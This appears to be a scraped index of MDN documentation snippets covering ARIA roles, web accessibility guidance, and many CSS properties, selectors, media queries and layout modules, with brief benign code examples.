="r2" tabindex="-1" role="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> subway </li> <li id="r3" tabindex="0" role="radio" aria-checked="true"> <img role="presentation" src="radio-checked.gif" /> radio maria </li> </ul> working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
Using the status role - Accessibility
ole="status">your changes were automatically saved.</p> working examples: notes aria attributes used status related aria techniques alert role live region roles live region attributes compatibility the paciello group published some data on compatibility via their 2014 blog post: screen reader support for aria live regions tbd: add updated support information for common ua and at product combinations additional resources previous recommendations from wai-aria 1.0 (2014) for the status role ...
Using the toolbar role - Accessibility
examples example 1: code working examples: w3c toolbar example notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
ARIA: tabpanel role - Accessibility
recommendation wai-aria authoring practicesthe definition of 'tabpanel' in that specification.
ARIA: cell role - Accessibility
recommendation wai-aria authoring practicesthe definition of 'aria cell role' in that specification.
ARIA: figure role - Accessibility
recommendation screen reader support tbd ...
ARIA: List role - Accessibility
recommendation screen reader support tbd ...
ARIA: Listitem role - Accessibility
recommendation screen reader support tbd ...
ARIA: img role - Accessibility
recommendation screen reader support tbd ...
ARIA: row role - Accessibility
recommendation wai-aria authoring practicesthe definition of 'aria row role' in that specification.
ARIA: rowgroup role - Accessibility
recommendation ...
ARIA: search role - Accessibility
recommendation wai-aria authoring practicesthe definition of 'aria search role' in that specification.
ARIA: switch role - Accessibility
result the result looks like this: specifications specification status comment accessible rich internet applications (wai-aria) 1.1 recommendation defines aria in general along with all roles, properties, and so forth.
ARIA: table role - Accessibility
recommendation wai-aria authoring practicesthe definition of 'aria table role' in that specification.
ARIA: checkbox role - Accessibility
as such, it is recommended to use the native html checkbox using form control instead of recreating a checkbox's functionality with javascript and aria.
ARIA: dialog role - Accessibility
recommendation screen reader support coming soon ...
ARIA: heading role - Accessibility
recommendation precedence order the heading role overrides the native semantic meaning of the element it is being used for.
Web applications and ARIA FAQ - Accessibility
a wide variety of commonly-used browsers, assistive technologies, javascript toolkits, and applications now support aria.
Alerts - Accessibility
examples of common problems include e-mail addresses which are not valid, or a name field which does not contain at least a first name or a surname.
overview - Accessibility
general resources dhtml style guide provides keyboard interaction recommendations wai-aria authoring practices guide checkbox aria toggle button and tri-state checkbox examples (from "the paciello group blog") aria example checkbox widgets from the university of illinois menu using wai-aria roles and states with the yui menu control slider from the paciello group blog: aria slider, part one, part two, part threet (example) creating an accessible, internationalized dojo rating widget tabs enhancing tabview accessibility with wai-aria roles and states, from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 and...
Accessibility: What users can do to browse more safely - Accessibility
one work station can be set up to acommodate both a low-vision individual (needs high-contrast) and to accomodate an individual with photosensitive susceptibilities, by simply, adjusting personalization and accessiblity settings.
An overview of accessible web applications and widgets - Accessibility
here's a summary of how keyboard navigation should work in an aria-enabled web application: the tab key should provide focus to the widget as a whole.
HTML To MSAA - Accessibility
e_system_ multiselectable if multiselectable n/a n/a n/a select @size = 1 role_system_ combobox n/a name of focused option state_system_ expanded if combobox open state_system_ collapsed if combobox is collapsed state_system_ haspopup state_system_ focusable n/a "open"/"close" depending on state event_object_ valuechange when selected option is changed table role_system_ table from @summary attribute n/a described_by (0x100e) points to caption element n/a n/a td, th role_system_ cell n/a n/a n/a n/a n/a n/a thead role_system_ columnheader n/a n/a n/a n/a n/a n/a abbr, acronym, blockquote, form, frame, h1-h6, iframe bstr role n/a n/a n/a n/a n/a n/a ...
Mobile accessibility checklist - Accessibility
all user interface components with visible text (or image of text) as labels must have the same text available in the programmatic name of the component.
Operable - Accessibility
understanding target size 2.5.6 concurrent input mechanisms (aaa) added in 2.1 make sure people can use and switch between different modes of input when interacting with digital content including touchscreen, keyboard, mouse, voice commands, or alternative input devices.
Color contrast - Accessibility
when designing readable interfaces for different vision capabilities, the wcag guidelines recommend the following contrast ratios: type of content minimum ratio (aa rating) enhanced ratio (aaa rating) body text 4.5 : 1 7 : 1 large-scale text (120-150% larger than body text) 3 : 1 4.5 : 1 active user interface components and graphical objects such as icons and graphs 3 : 1 not defined these ratios do not apply to "incidental" text, such as inactive controls, logotypes, or purely decorative text.
Robust - Accessibility
form inputs, buttons, links, etc.) should be programmatically determinable.
Accessibility
other documentation understanding the web content accessibility guidelines this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 (wcag 2.0 or just wcag, for the purposes of this writing).
-moz-force-broken-image-icon - CSS: Cascading Style Sheets
the use of this property is not recommended.
-moz-outline-radius - CSS: Cascading Style Sheets
/* one value */ -moz-outline-radius: 25px; /* two values */ -moz-outline-radius: 25px 1em; /* three values */ -moz-outline-radius: 25px 1em 12%; /* four values */ -moz-outline-radius: 25px 1em 12% 4mm; /* global values */ -moz-outline-radius: inherit; -moz-outline-radius: initial; -moz-outline-radius: unset; constituent properties this property is a shorthand for the following css properties: -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright syntax values elliptical outlines and <percentage> values follow the syntax described in border-radius.
-moz-user-input - CSS: Cascading Style Sheets
note: -moz-user-input was one of the proposals leading to the proposed css 3 user-input property, which has not yet reached candidate recommendation (call for implementations).
-webkit-line-clamp - CSS: Cascading Style Sheets
</p> css p { width: 300px; display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 3; overflow: hidden; } result specifications specification status comment css overflow module level 3the definition of '-webkit-line-clamp' in that specification.
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
e formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image: url('mask1.png'), url('mask2.png'); -webkit-mask-repeat-x: repeat, space; } each image is matched with the corresponding repeat style, from first specified to last.
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
e formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image: url('mask1.png'), url('mask2.png'); -webkit-mask-repeat-y: repeat, space; } each image is matched with the corresponding repeat style, from first specified to last.
-webkit-text-fill-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples changing the fill color css p { margin: 0; font-size: 3em; -webkit-text-fill-color: green; } html <p>this text is green.</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-fill-color' in that specification.
-webkit-text-stroke-color - CSS: Cascading Style Sheets
font-size: 4em; -webkit-text-stroke-width: 3px; -webkit-text-stroke-color: #ff0000; /* can be changed in the live sample */ } javascript var colorpicker = document.queryselector("input"); colorpicker.addeventlistener("change", function(evt) { document.queryselector("p").style.webkittextstrokecolor = evt.target.value; }); results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-color' in that specification.
-webkit-text-stroke - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples adding a red text stroke html <p id="example">the stroke of this text is red.</p> css #example { font-size: 3em; margin: 0; -webkit-text-stroke: 2px red; } result specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke' in that specification.
:-moz-ui-valid - CSS: Cascading Style Sheets
however, if the user is trying to correct a previously-flagged value, the control shows immediately when the value becomes valid.
::-webkit-scrollbar - CSS: Cascading Style Sheets
proin at nulla elementum, consectetur ex eget, commodo ante.
::part() - CSS: Cascading Style Sheets
WebCSS::part
r: #0060df; border-color: #0a84ff !important; } javascript let template = document.queryselector("#tabbed-custom-element"); globalthis.customelements.define(template.id, class extends htmlelement { constructor() { super(); this.attachshadow({ mode: "open" }); this.shadowroot.appendchild(template.content); } }); result specifications specification status comment shadow partsthe definition of '::part' in that specification.
::slotted() - CSS: Cascading Style Sheets
WebCSS::slotted
shazaam</p> <span slot="person-age">immortal</span> <span slot="person-occupation">superhero</span> </person-details> specifications specification status comment css scoping module level 1the definition of '::slotted' in that specification.
::spelling-error - CSS: Cascading Style Sheets
html <p contenteditable spellcheck="true">my friends are coegdfgfddffbgning to the party tonight.</p> css ::spelling-error { text-decoration: wavy red; } result specifications specification status comment css pseudo-elements level 4the definition of '::spelling-error' in that specification.
:any-link - CSS: Cascading Style Sheets
WebCSS:any-link
reen; } syntax :any-link examples html <a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ':any-link' in that specification.
:blank - CSS: Cascading Style Sheets
WebCSS:blank
html <textarea></textarea> css textarea:blank { border: 3px solid red; } result specifications specification status comment selectors level 4the definition of ':blank' in that specification.
:defined - CSS: Cascading Style Sheets
WebCSS:defined
imple-custom:not(:defined) { display: none; } simple-custom:defined { display: block; } this is useful if you have a complex custom element that takes a while to load into the page — you might want to hide instances of the element until definition is complete, so that you don't end up with flashes of ugly unstyled elements on the page specifications specification status comment html living standardthe definition of ':defined' in that specification.
:dir() - CSS: Cascading Style Sheets
WebCSS:dir
formal syntax :dir( ltr | rtl ) examples html <div dir="rtl"> <span>test1</span> <div dir="ltr">test2 <div dir="auto">עִבְרִית</div> </div> </div> css :dir(ltr) { background-color: yellow; } :dir(rtl) { background-color: powderblue; } result specifications specification status comment html living standardthe definition of ':dir(ltr)' in that specification.
:focus-visible - CSS: Cascading Style Sheets
specifications specification status comment selectors level 4the definition of ':focus-visible' in that specification.
:fullscreen - CSS: Cascading Style Sheets
#fs-toggle:fullscreen { background-color: #faa; } specifications specification status comment fullscreen apithe definition of ':fullscreen' in that specification.
:has() - CSS: Cascading Style Sheets
WebCSS:has
examples matching <a> elements that directly contain an <img> the following selector matches only <a> elements that directly contain an <img> child: a:has(> img) matching <h1> elements that are followed by a <p> the following selector matches <h1> elements only if they have a <p> element directly following them: h1:has(+ p) specifications specification status comment selectors level 4the definition of ':has()' in that specification.
:host() - CSS: Cascading Style Sheets
WebCSS:host()
specifications specification status comment css scoping module level 1the definition of ':host()' in that specification.
:host-context() - CSS: Cascading Style Sheets
specifications specification status comment css scoping module level 1the definition of ':host-context()' in that specification.
:host - CSS: Cascading Style Sheets
WebCSS:host
specifications specification status comment css scoping module level 1the definition of ':host' in that specification.
:hover - CSS: Cascading Style Sheets
WebCSS:hover
specifications specification comment feedback html living standardthe definition of ':hover' in that specification.
:in-range - CSS: Cascading Style Sheets
WebCSS:in-range
gin-bottom: 1em; } input { border: 1px solid black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':in-range' in that specification.
:out-of-range - CSS: Cascading Style Sheets
gin-bottom: 1em; } input { border: 1px solid black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':out-of-range' in that specification.
:placeholder-shown - CSS: Cascading Style Sheets
t id:</label> <input type="number" pattern="[0-9]{8}" title="8 digit id" id="sid" class="studentid" placeholder="8 digit id"/> </p> <input type="submit"/> </form> css input { background-color: #e8e8e8; color: black; } input.studentid:placeholder-shown { background-color: yellow; color: red; font-style: italic; } result specifications specification status comment selectors level 4the definition of ':placeholder-shown' in that specification.
:scope - CSS: Cascading Style Sheets
WebCSS:scope
n '#' + element.getattribute('id'); }).join(', '); html <div id="context"> <div id="element-1"> <div id="element-1.1"></div> <div id="element-1.2"></div> </div> <div id="element-2"> <div id="element-2.1"></div> </div> </div> <p> selected elements ids : <span id="results"></span> </p> result specifications specification status comment selectors level 4the definition of ':scope' in that specification.
:state() - CSS: Cascading Style Sheets
WebCSS:state
my code block and/or include a list of links to useful code samples that live elsewhere: x y z specifications specification status comment unknownthe definition of 'the :state() selector' in that specification.
:where() - CSS: Cascading Style Sheets
WebCSS:where
'='<attr-modifier> = i | s specifications specification status comment selectors level 4the definition of ':where()' in that specification.
font-display - CSS: Cascading Style Sheets
specified formal syntax [ auto | block | swap | fallback | optional ] examples specifying fallback font-display @font-face { font-family: examplefont; src: url(/path/to/fonts/examplefont.woff) format('woff'), url(/path/to/fonts/examplefont.eot) format('eot'); font-weight: 400; font-style: normal; font-display: fallback; } specifications specification status comment css fonts module level 4the definition of 'font-display' in that specification.
font-variation-settings - CSS: Cascading Style Sheets
valuenormalcomputed valueas specified formal syntax normal | [ <string> <number> ]# examples setting font weight and stretch in a @font-face rule @font-face { font-family: 'opentypefont'; src: url('open_type_font.woff2') format('woff2'); font-weight: normal; font-style: normal; font-variation-settings: 'wght' 400, 'wdth' 300; } specifications specification status comment css fonts module level 4the definition of 'font-variation-settings' in that specification.
@keyframes - CSS: Cascading Style Sheets
specifications specification status comment css animationsthe definition of '@keyframes' in that specification.
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
's pixel density.</p> css /* exact resolution */ @media (-webkit-device-pixel-ratio: 1) { p { color: red; } } /* minimum resolution */ @media (-webkit-min-device-pixel-ratio: 1.1) { p { font-size: 1.5em; } } /* maximum resolution */ @media (-webkit-max-device-pixel-ratio: 3) { p { background: yellow; } } result specifications specification status comment compatibility standardthe definition of '-webkit-device-pixel-ratio' in that specification.
-webkit-transform-3d - CSS: Cascading Style Sheets
examples @media (-webkit-transform-3d) { .foo { transform-style: preserve-3d; } } @media (-webkit-transform-3d: 1) { .foo { transform-style: preserve-3d; } } specifications specification status comment compatibility standardthe definition of '-webkit-transform-3d' in that specification.
aural - CSS: Cascading Style Sheets
WebCSS@mediaaural
examples basic example @media aural { body { voice-family: paul } } specifications specification status comment css level 2 (revision 2)the definition of 'aural' in that specification.
display-mode - CSS: Cascading Style Sheets
(none) examples @media all and (display-mode: fullscreen) { body { margin: 0; border: 5px solid black; } } specifications specification status comment web app manifestthe definition of 'display-mode' in that specification.
forced-colors - CSS: Cascading Style Sheets
html <div class="colors">weird color box</div> css .colors { background-color: red; color: grey; } @media (forced-colors: active) { .colors { background-color: white; color: black; } } result specifications specification status comment media queries level 5the definition of 'forced-colors' in that specification.
inverted-colors - CSS: Cascading Style Sheets
, it should be red on light gray.</p> <p>if the text is gray, your browser doesn't support the `inverted-colors` media feature.</p> css p { color: gray; } @media (inverted-colors: inverted) { p { background: black; color: yellow; } } @media (inverted-colors: none) { p { background: #eee; color: red; } } result specifications specification status comment media queries level 5the definition of 'inverted-colors' in that specification.
light-level - CSS: Cascading Style Sheets
@media (light-level: normal) { p { background: url("texture.jpg"); color: #333; } } @media (light-level: dim) { p { background: #222; color: #ccc; } } @media (light-level: washed) { p { background: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification.
prefers-color-scheme - CSS: Cascading Style Sheets
.night.dark-scheme { background: black; color: #ddd; } } @media (prefers-color-scheme: light) { .day.light-scheme { background: white; color: #555; } .night.light-scheme { background: #eee; color: black; } } .day, .night { display: inline-block; padding: 1em; width: 7em; height: 2em; vertical-align: middle; } result specifications specification status comment media queries level 5the definition of 'prefers-color-scheme' in that specification.
prefers-contrast - CSS: Cascading Style Sheets
html <div class="contrast">low contrast box</div> css .contrast { width: 100px; height: 100px; outline: 2px dashed black; } @media (prefers-contrast: high) { .contrast { outline: 2px solid black; } } result specifications specification status comment media queries level 5the definition of 'prefers-contrast' in that specification.
prefers-reduced-data - CSS: Cascading Style Sheets
153, u+02bb-02bc, u+02c6, u+02da, u+02dc, u+2000-206f, u+2074, u+20ac, u+2122, u+2191, u+2193, u+2212, u+2215, u+feff, u+fffd; } } body { font-family: montserrat, -apple-system, blinkmacsystemfont, "segoe ui", roboto, helvetica, arial, "microsoft yahei", sans-serif, "apple color emoji", "segoe ui emoji", "segoe ui symbol"; } result specifications specification status comment media queries level 5the definition of 'reduced-data' in that specification.
prefers-reduced-transparency - CSS: Cascading Style Sheets
html <div class="transparency">transparent box</div> css .transparency { opacity: 0.5; } @media (prefers-reduced-transparency: reduce) { .transparency { opacity: 1; } } result specifications specification status comment media queries level 5the definition of 'prefers-reduced-transparency' in that specification.
scripting - CSS: Cascading Style Sheets
WebCSS@mediascripting
:-)</p> css p { color: lightgray; } @media (scripting: none) { .script-none { color: red; } } @media (scripting: initial-only) { .script-initial-only { color: red; } } @media (scripting: enabled) { .script-enabled { color: red; } } result specifications specification status comment media queries level 5the definition of 'scripting' in that specification.
bleed - CSS: Cascading Style Sheets
WebCSS@pagebleed
formal definition related at-rule@pageinitial valueautocomputed valueas specified formal syntax auto | <length> examples setting a page bleed of 1cm @page { bleed: 1cm; } specifications specification status comment css paged media module level 3the definition of 'bleed' in that specification.
marks - CSS: Cascading Style Sheets
WebCSS@pagemarks
formal definition related at-rule@pageinitial valuenonecomputed valueas specified formal syntax none | [ crop | cross ] examples adding crop and cross marks @page { marks: crop cross; } specifications specification status comment css paged media module level 3the definition of 'marks' in that specification.
height - CSS: Cascading Style Sheets
WebCSS@viewportheight
ht: the percentage as specified or the absolute lengthmax-height: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum height @viewport { height: 500px; } specifications specification status comment css device adaptationthe definition of '"height" descriptor' in that specification.
max-height - CSS: Cascading Style Sheets
ecified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport max height in pixels @viewport { max-height: 600px; } specifications specification status comment css device adaptationthe definition of '"max-height" descriptor' in that specification.
max-width - CSS: Cascading Style Sheets
ecified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport max width in pixels @viewport { max-width: 600px; } specifications specification status comment css device adaptationthe definition of '"max-width" descriptor' in that specification.
max-zoom - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting max-zoom @viewport { max-zoom: 1.5; } specifications specification status comment css device adaptationthe definition of '"max-zoom" descriptor' in that specification.
min-height - CSS: Cascading Style Sheets
ecified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport min height in pixels @viewport { min-height: 200px; } specifications specification status comment css device adaptationthe definition of '"min-height" descriptor' in that specification.
min-width - CSS: Cascading Style Sheets
specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport min width in pixels @viewport { min-width: 200px; } specifications specification status comment css device adaptationthe definition of '"min-width" descriptor' in that specification.
min-zoom - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting min zoom factor @viewport { min-zoom: 2.0; } specifications specification status comment css device adaptationthe definition of '"min-zoom" descriptor' in that specification.
orientation - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautopercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax auto | portrait | landscape examples setting viewport orientation @viewport { orientation: landscape; } specifications specification status comment css device adaptationthe definition of '"orientation" descriptor' in that specification.
user-zoom - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | understanding wcag 2.0 formal definition related at-rule@viewportinitial valuezoompercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax zoom | fixed examples disabling user zoom @viewport { user-zoom: fixed; } specifications specification status comment css device adaptationthe definition of '"user-zoom" descriptor' in that specification.
width - CSS: Cascading Style Sheets
WebCSS@viewportwidth
width: the percentage as specified or the absolute lengthmax-width: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum width @viewport { width: 500px; } specifications specification status comment css device adaptationthe definition of '"min-width" descriptor' in that specification.
zoom - CSS: Cascading Style Sheets
WebCSS@viewportzoom
formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting viewport zoom factor @viewport { zoom: 2.0; } specifications specification status comment css device adaptationthe definition of '"zoom" descriptor' in that specification.
@viewport - CSS: Cascading Style Sheets
WebCSS@viewport
formal syntax @viewport { <group-rule-body> } examples setting viewport size, zoom, and orientation @viewport { min-width: 640px; max-width: 800px; } @viewport { zoom: 0.75; min-zoom: 0.5; max-zoom: 0.9; } @viewport { orientation: landscape; } specifications specification status comment css round display level 1the definition of '@viewport' in that specification.
CSSOM View - CSS: Cascading Style Sheets
specifications specification status comment css object model (cssom) view module working draft initial definition.
Using CSS animations - CSS: Cascading Style Sheets
{ animation-duration: 3s; animation-name: slidein; animation-iteration-count: infinite; animation-direction: alternate; } could be replaced by p { animation: 3s infinite alternate slidein; } note: you can find more details out at the animation reference page: setting multiple animation property values the css animation longhand values can accept multiple values, separated by commas — this feature can be used when you want to apply multiple animations in a single rule, and set separate durations, iteration counts, etc.
CSS Animations - CSS: Cascading Style Sheets
specifications specification status comment css animations working draft initial definition.
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
specifications specification status comment css backgrounds and borders module level 3 candidate recommendation css level 2 (revision 1) recommendation css level 1 recommendation ...
Using URL values for the cursor property - CSS: Cascading Style Sheets
syntax the basic (css 2.1) syntax for this property is: cursor: [ <url> , ]* <keyword> this means that zero or more urls may be specified (comma-separated), which must be followed by one of the keywords defined in the css specification, such as auto or pointer.
CSS Basic User Interface - CSS: Cascading Style Sheets
specifications specification status comment css basic user interface module level 4 working draft css basic user interface module level 3 recommendation css level 2 (revision 1) recommendation initial definition.
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to block layout and box alignment, it should be read in conjunction with the main box alignment page, which details the common features of box alignment across layout methods.
Box alignment in grid layout - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to css grid layout and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
Box alignment in Flexbox - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to flexbox and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to multi-column layout and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
CSS Box Alignment - CSS: Cascading Style Sheets
there are also some key concepts which are common to all layout methods.
CSS Basic Box Model - CSS: Cascading Style Sheets
specifications specification status comment css basic box model working draft added margin-trim css level 2 (revision 1) recommendation css level 1 recommendation initial definition.
CSS Color - CSS: Cascading Style Sheets
WebCSSCSS Color
specifications specification status comment css color module level 4 working draft css color module level 3 recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
Basic Concepts of Multicol - CSS: Cascading Style Sheets
this guide explains how the specification works with some common use case examples.
Styling Columns - CSS: Cascading Style Sheets
summary this details all the current ways in which column boxes can be styled.
CSS Multi-column Layout - CSS: Cascading Style Sheets
specifications specification status comment css multi-column layout module working draft initial definition ...
Using feature queries - CSS: Cascading Style Sheets
summary feature queries can help you start to use newer features by enhancing a simpler display of the site used for older browsers.
CSS Conditional Rules - CSS: Cascading Style Sheets
reference at-rules @document @media @supports @import specifications specification status comment css conditional rules module level 3 candidate recommendation initial definition ...
CSS Counter Styles - CSS: Cascading Style Sheets
specifications specification status comment css counter styles level 3 candidate recommendation initial definition.
CSS Device Adaptation - CSS: Cascading Style Sheets
reference at-rules @viewport specifications specification status comment css device adaptation working draft initial definition ...
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
a common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left.
Ordering Flex Items - CSS: Cascading Style Sheets
used carefully the order property can allow for some useful common patterns to be easily implemented.
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
a common question is to ask what the difference is between flexbox and css grid layout — why do we have two specifications that sometimes appear to be doing the same thing?
In Flow and Out of Flow - CSS: Cascading Style Sheets
summary in this guide we have covered the ways to take an element out of flow in order to achieve some very specific types of positioning.
CSS Fragmentation - CSS: Cascading Style Sheets
reference box-decoration-break break-after break-before break-inside orphans widows specifications specification status comment css fragmentation module level 3 candidate recommendation initial definition.
CSS Generated Content - CSS: Cascading Style Sheets
reference properties content quotes specifications specification status comment css generated content module level 3 working draft css level 2 (revision 1) recommendation initial definition ...
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } <div class="wrapper"> <dl> <dt>mammals</dt> <dd>cat</dd> <dd>dog</dd> <dd>mouse</dd> <dt>fish</dt> <dd>guppy</dd> <dt>birds</dt> <dd>pied wagtail</dd> <dd>owl</dd> </dl> </div> dl { display: grid; grid-template-columns: auto 1fr; max-width: 300px; margin: 1em; line-height: 1.4; } dt { grid-column: 1; font-weight: bold; } dd { grid-column: 2; } what ...
Grid template areas - CSS: Cascading Style Sheets
take some time to build some common layout patterns using grid, while there are lots of new terms to learn, the syntax is relatively straightforward.
Layout using named grid lines - CSS: Cascading Style Sheets
try building some common patterns with these various methods, and you will soon find your most productive way to work.
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
.box1 { grid-column-start: 1; grid-row-start: span 3; grid-row-end: 4; } to become familiar with line based positioning in grid try to build a few common layouts by placing items onto grids with varying numbers of columns.
Subgrid - CSS: Cascading Style Sheets
specification specification status comment css grid layout module level 2 working draft initial definition of subgrids.
CSS Lists - CSS: Cascading Style Sheets
specifications specification status comment css lists module level 3 working draft css level 2 (revision 1) recommendation initial definition ...
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
if you would like to read the suggestions or comment on them the relevant github issue is #1282.
CSS Logical Properties and Values - CSS: Cascading Style Sheets
offset-block-start (now inset-block-start ) offset-inline-end (now inset-inline-end ) offset-inline-start (now inset-inline-start ) guides basic concepts of logical properties and values logical properties for sizing logical properties for margins, borders and padding logical properties for floating and positioning specifications specification status comment css logical properties and values level 1 editor's draft initial definition.
CSS Motion Path - CSS: Cascading Style Sheets
0,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offset-rotate specifications specification status comment motion path module level 1 working draft initial definition.
CSS Namespaces - CSS: Cascading Style Sheets
reference at-rules @namespace specifications specification status comment css namespaces module recommendation initial definition ...
CSS Paged Media - CSS: Cascading Style Sheets
WebCSSCSS Pages
reference css properties page-break-after page-break-before page-break-inside at-rules @page pseudo-classes :blank :first :left :right specifications specification status comment css paged media module level 3 working draft css fragmentation module level 3 candidate recommendation css level 2 (revision 1) recommendation ...
The stacking context - CSS: Cascading Style Sheets
in summary: stacking contexts can be contained in other stacking contexts, and together create a hierarchy of stacking contexts.
Understanding CSS z-index - CSS: Cascading Style Sheets
i grant the right to share all the content under the creative commons: attribution-sharealike license.
CSS Positioned Layout - CSS: Cascading Style Sheets
specifications specification status comment css positioned layout module level 3 working draft css level 2 (revision 1) recommendation ...
CSS Properties Reference - CSS: Cascading Style Sheets
common css properties reference the following is a basic list of the most common css properties with the equivalent of the dom notation which is usually accessed from javascript: note: this list is incomplete.
CSS Ruby Layout - CSS: Cascading Style Sheets
WebCSSCSS Ruby
reference properties ruby-align ruby-position specifications specification status comment css ruby layout module level 1 working draft initial definition ...
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
note: the scroll-snap-stop property is currently marked at risk in the current candidate recommendation spec, therefore it may be removed.
CSS Scroll Snap - CSS: Cascading Style Sheets
ll-snap-align scroll-margin scroll-margin-top scroll-margin-right scroll-margin-bottom scroll-margin-left scroll-margin-inline scroll-margin-inline-start scroll-margin-inline-end scroll-margin-block scroll-margin-block-start scroll-margin-block-end guides basic concepts of css scroll snap browser compatibility and scroll snap specification specification status comment css scroll snap module level 1 candidate recommendation initial definition ...
CSS Scrollbars - CSS: Cascading Style Sheets
</div> result reference css properties scrollbar-width scrollbar-color specifications specification status comment css scrollbars level 1 working draft initial definition.
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
see also :target original document information author(s): eric meyer, standards evangelist, netscape communications original copyright information: copyright © 2001-2003 netscape.
Shapes From Images - CSS: Cascading Style Sheets
in the example below i am using a similar image to the initial example, however in this image the background of the star is not fully transparent, it has a 20% opacity as created in my graphics programme.
CSS Shapes - CSS: Cascading Style Sheets
svg: shapes and arbitrarily-shaped ui components specifications specification status comment css shapes module level 1 candidate recommendation initial definition ...
CSS Table - CSS: Cascading Style Sheets
WebCSSCSS Table
reference properties border-collapse border-spacing caption-side empty-cells table-layout vertical-align specifications specification status comment css level 2 (revision 1) recommendation initial definition ...
CSS Text Decoration - CSS: Cascading Style Sheets
